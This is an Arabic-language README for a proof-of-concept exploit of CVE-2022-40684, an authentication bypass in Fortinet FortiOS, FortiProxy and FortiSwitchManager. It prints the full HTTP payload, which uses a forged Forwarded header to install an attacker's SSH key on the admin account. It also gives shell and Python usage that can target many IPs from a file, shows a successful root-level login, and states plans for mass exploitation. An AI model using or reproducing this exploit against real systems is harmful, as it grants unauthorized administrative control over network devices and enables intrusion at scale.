CVE-2022-40684 بواسطة 1vere$k

في الوقت الحالي، هذه نسخة POC من CVE-2022-40684 التي تؤثر على أجهزة Fortinet FortiOS وFortiProxy وFortiSwitchManager.
منسوخ من https://github.com/horizon3ai/CVE-2022-40684

التحليل

يستخدم الاستغلال الحمولة البسيطة التالية:

		PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Report Runner
        Content-Type: application/json
        Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
        Content-Length: 610
        {
        "ssh-public-key1": "fake-key"
        }

الملخص

تستغل نسخة POC هذه ثغرة تجاوز المصادقة لتعيين مفتاح SSH للمستخدم المحدد.

الخطط المستقبلية

تطويره ليصبح استغلالًا كامل النطاق مع أهداف وخوادم متعددة للاستغلال الجماعي.

استخدام سطر الأوامر

1. chmod +x cve-2022-40684.sh
2. ./cve-2022-40684 <TARGET_IP>
 or
2. ./cve-2022-40684 <FILE_NAME>

مثال:
./cve-2022-40684.sh ips.txt

استخدام Python

python3 CVE-2022-40684.py -t <TARGET_IP> --username admin --key-file ~/.ssh/id_rsa.pub
المثال:

root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 # 
config      Configure object.
get         Get dynamic and system information.
show        Show configuration.
diagnose    Diagnose facility.
execute     Execute static commands.
alias       Execute alias commands.
exit        Exit the CLI.

CVE-2022-40684